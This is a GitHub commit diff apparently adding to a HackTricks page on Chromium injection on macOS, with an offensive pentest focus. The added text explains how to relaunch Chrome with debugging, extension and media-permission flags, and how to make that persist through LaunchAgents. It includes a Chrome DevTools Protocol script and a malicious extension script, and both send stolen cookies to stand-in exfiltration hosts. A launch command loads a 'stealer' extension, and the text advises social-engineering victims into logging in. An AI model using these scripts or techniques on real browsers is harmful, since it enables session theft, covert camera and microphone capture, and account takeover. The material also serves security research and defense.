Skip to content

Commit 2137e2f

Browse files
authored
Merge pull request #1723 from HackTricks-wiki/research_update_src_macos-hardening_macos-security-and-privilege-escalation_macos-proces-abuse_macos-chromium-injection_20251230_014525
Research Update Enhanced src/macos-hardening/macos-security-...
2 parents 394c3a6 + 230b60d commit 2137e2f

File tree

1 file changed

+80
-9
lines changed

1 file changed

+80
-9
lines changed

src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md

Lines changed: 80 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -4,35 +4,106 @@
44

55
## Basic Information
66

7-
Chromium-based browsers like Google Chrome, Microsoft Edge, Brave, and others. These browsers are built on the Chromium open-source project, which means they share a common base and, therefore, have similar functionalities and developer options.
7+
Chromium-based browsers like Google Chrome, Microsoft Edge, Brave, Arc, Vivaldi, and Opera all consume the same command-line switches, preference files, and DevTools automation interfaces. On macOS, any user with GUI access can terminate an existing browser session and re-open it with arbitrary flags, extensions, or DevTools endpoints that run with the target's entitlements.
8+
9+
#### Launching Chromium with custom flags on macOS
10+
11+
macOS keeps a single UI instance per Chromium profile, so instrumentation normally requires force-closing the browser (for example with `osascript -e 'tell application "Google Chrome" to quit'`). Attackers typically relaunch via `open -na "Google Chrome" --args <flags>` so they can inject arguments without modifying the app bundle. Wrapping that command inside a user LaunchAgent (`~/Library/LaunchAgents/*.plist`) or login hook guarantees the tampered browser is respawned after reboot/logoff.
812

913
#### `--load-extension` Flag
1014

11-
The `--load-extension` flag is used when starting a Chromium-based browser from the command line or a script. This flag allows to **automatically load one or more extensions** into the browser upon startup.
15+
The `--load-extension` flag auto-loads unpacked extensions (comma-separated paths). Pair it with `--disable-extensions-except` to block legitimate extensions while forcing only your payload to run. Malicious extensions can request high-impact permissions such as `debugger`, `webRequest`, and `cookies` to pivot into DevTools protocols, patch CSP headers, downgrade HTTPS, or exfiltrate session material as soon as the browser starts.
16+
17+
#### `--remote-debugging-port` / `--remote-debugging-pipe` Flags
18+
19+
These switches expose the Chrome DevTools Protocol (CDP) over TCP or a pipe so external tooling can drive the browser. Google observed widespread infostealer abuse of this interface and, beginning with Chrome 136 (March 2025), the switches are ignored for the default profile unless the browser is launched with a non-standard `--user-data-dir`. This enforces App-Bound Encryption on real profiles, but attackers can still spawn a fresh profile, coerce the victim to authenticate inside it (phishing/triage assistance), and harvest cookies, tokens, device trust states, or WebAuthn registrations via CDP.
20+
21+
#### `--user-data-dir` Flag
22+
23+
This flag redirects the entire browser profile (History, Cookies, Login Data, Preference files, etc.) to an attacker-controlled path. It is mandatory when combining modern Chrome builds with `--remote-debugging-port`, and it also keeps the tampered profile isolated so you can drop pre-populated `Preferences` or `Secure Preferences` files that disable security prompts, auto-install extensions, and change default schemes.
1224

1325
#### `--use-fake-ui-for-media-stream` Flag
1426

15-
The `--use-fake-ui-for-media-stream` flag is another command-line option that can be used to start Chromium-based browsers. This flag is designed to **bypass the normal user prompts that ask for permission to access media streams from the camera and microphone**. When this flag is used, the browser automatically grants permission to any website or application that requests access to the camera or microphone.
27+
This switch bypasses the camera/mic permission prompt so any page that calls `getUserMedia` receives access immediately. Combine it with flags such as `--auto-select-desktop-capture-source="Entire Screen"`, `--kiosk`, or CDP `Browser.grantPermissions` commands to silently capture audio/video, desk-share, or satisfy WebRTC permission checks without user interaction.
28+
29+
## Remote Debugging & DevTools Protocol Abuse
30+
31+
Once Chrome is relaunched with a dedicated `--user-data-dir` and `--remote-debugging-port`, you can attach over CDP (e.g., via `chrome-remote-interface`, `puppeteer`, or `playwright`) and script high-privilege workflows:
32+
33+
- **Cookie/session theft:** `Network.getAllCookies` and `Storage.getCookies` return HttpOnly values even when App-Bound encryption would normally block filesystem access, because CDP asks the running browser to decrypt them.
34+
- **Permission tampering:** `Browser.grantPermissions` and `Emulation.setGeolocationOverride` let you bypass camera/mic prompts (especially when combined with `--use-fake-ui-for-media-stream`) or falsify location-based security checks.
35+
- **Keystroke/script injection:** `Runtime.evaluate` executes arbitrary JavaScript inside the active tab, enabling credential lifting, DOM patching, or injecting persistence beacons that survive navigation.
36+
- **Live exfiltration:** `Network.webRequestWillBeSentExtraInfo` and `Fetch.enable` intercept authenticated requests/responses in real time without touching disk artifacts.
37+
38+
```javascript
39+
import CDP from 'chrome-remote-interface';
40+
41+
(async () => {
42+
const client = await CDP({host: '127.0.0.1', port: 9222});
43+
const {Network, Runtime} = client;
44+
await Network.enable();
45+
const {cookies} = await Network.getAllCookies();
46+
console.log(cookies.map(c => `${c.domain}:${c.name}`));
47+
await Runtime.evaluate({expression: "fetch('https://xfil.local', {method:'POST', body:document.cookie})"});
48+
await client.close();
49+
})();
50+
```
51+
52+
Because Chrome 136 blocks CDP on the default profile, copy/pasting the victim's existing `~/Library/Application Support/Google/Chrome` directory to a staging path no longer yields decrypted cookies. Instead, social-engineer the user into authenticating inside the instrumented profile (e.g., "helpful" support session) or capture MFA tokens in transit via CDP-controlled network hooks.
53+
54+
## Extension-Based Injection via Debugger API
55+
56+
The 2023 "Chrowned by an Extension" research demonstrated that a malicious extension using the `chrome.debugger` API can attach to any tab and gain the same DevTools powers as `--remote-debugging-port`. That breaks the original isolation assumptions (extensions stay in their context) and enables:
57+
58+
- Silent cookie and credential theft with `Network.getAllCookies`/`Fetch.getResponseBody`.
59+
- Modification of site permissions (camera, microphone, geolocation) and security interstitial bypass, letting phishing pages impersonate Chrome dialogs.
60+
- On-path tampering of TLS warnings, downloads, or WebAuthn prompts by programmatically driving `Page.handleJavaScriptDialog`, `Page.setDownloadBehavior`, or `Security.handleCertificateError`.
61+
62+
Load the extension with `--load-extension`/`--disable-extensions-except` so no user interaction is required. A minimal background script that weaponizes the API looks like this:
63+
64+
```javascript
65+
chrome.tabs.onUpdated.addListener((tabId, info) => {
66+
if (info.status !== 'complete') return;
67+
chrome.debugger.attach({tabId}, '1.3', () => {
68+
chrome.debugger.sendCommand({tabId}, 'Network.enable');
69+
chrome.debugger.sendCommand({tabId}, 'Network.getAllCookies', {}, (res) => {
70+
fetch('https://exfil.local/dump', {method: 'POST', body: JSON.stringify(res.cookies)});
71+
});
72+
});
73+
});
74+
```
75+
76+
The extension can also subscribe to `Debugger.paused` events to read JavaScript variables, patch inline scripts, or drop custom breakpoints that survive navigation. Because everything runs inside the user's GUI session, Gatekeeper and TCC are not triggered, making this technique ideal for malware that already achieved execution under the user context.
1677

1778
### Tools
1879

19-
- [https://github.com/breakpointHQ/snoop](https://github.com/breakpointHQ/snoop)
20-
- [https://github.com/breakpointHQ/VOODOO](https://github.com/breakpointHQ/VOODOO)
80+
- [https://github.com/breakpointHQ/snoop](https://github.com/breakpointHQ/snoop) - Automates Chromium launches with payload extensions and exposes interactive CDP hooks.
81+
- [https://github.com/breakpointHQ/VOODOO](https://github.com/breakpointHQ/VOODOO) - Similar tooling focused on traffic interception and browser instrumentation for macOS operators.
82+
- [https://github.com/cyrus-and/chrome-remote-interface](https://github.com/cyrus-and/chrome-remote-interface) - Node.js library to script Chrome DevTools Protocol dumps (cookies, DOM, permissions) once a `--remote-debugging-port` instance is live.
2183

2284
### Example
2385

2486
```bash
87+
# Launch an instrumented Chrome profile listening on CDP and auto-granting media/capture access
88+
osascript -e 'tell application "Google Chrome" to quit'
89+
open -na "Google Chrome" --args \
90+
--user-data-dir="$TMPDIR/chrome-privesc" \
91+
--remote-debugging-port=9222 \
92+
--load-extension="$PWD/stealer" \
93+
--disable-extensions-except="$PWD/stealer" \
94+
--use-fake-ui-for-media-stream \
95+
--auto-select-desktop-capture-source="Entire Screen"
96+
2597
# Intercept traffic
2698
voodoo intercept -b chrome
2799
```
28100

29-
Find more examples in the tools links
101+
Find more examples in the tools links.
30102

31103
## References
32104

33105
- [https://twitter.com/RonMasas/status/1758106347222995007](https://twitter.com/RonMasas/status/1758106347222995007)
106+
- [https://developer.chrome.com/blog/remote-debugging-port](https://developer.chrome.com/blog/remote-debugging-port)
107+
- [https://arxiv.org/abs/2305.11506](https://arxiv.org/abs/2305.11506)
34108

35109
{{#include ../../../banners/hacktricks-training.md}}
36-
37-
38-

0 commit comments

Comments
 (0)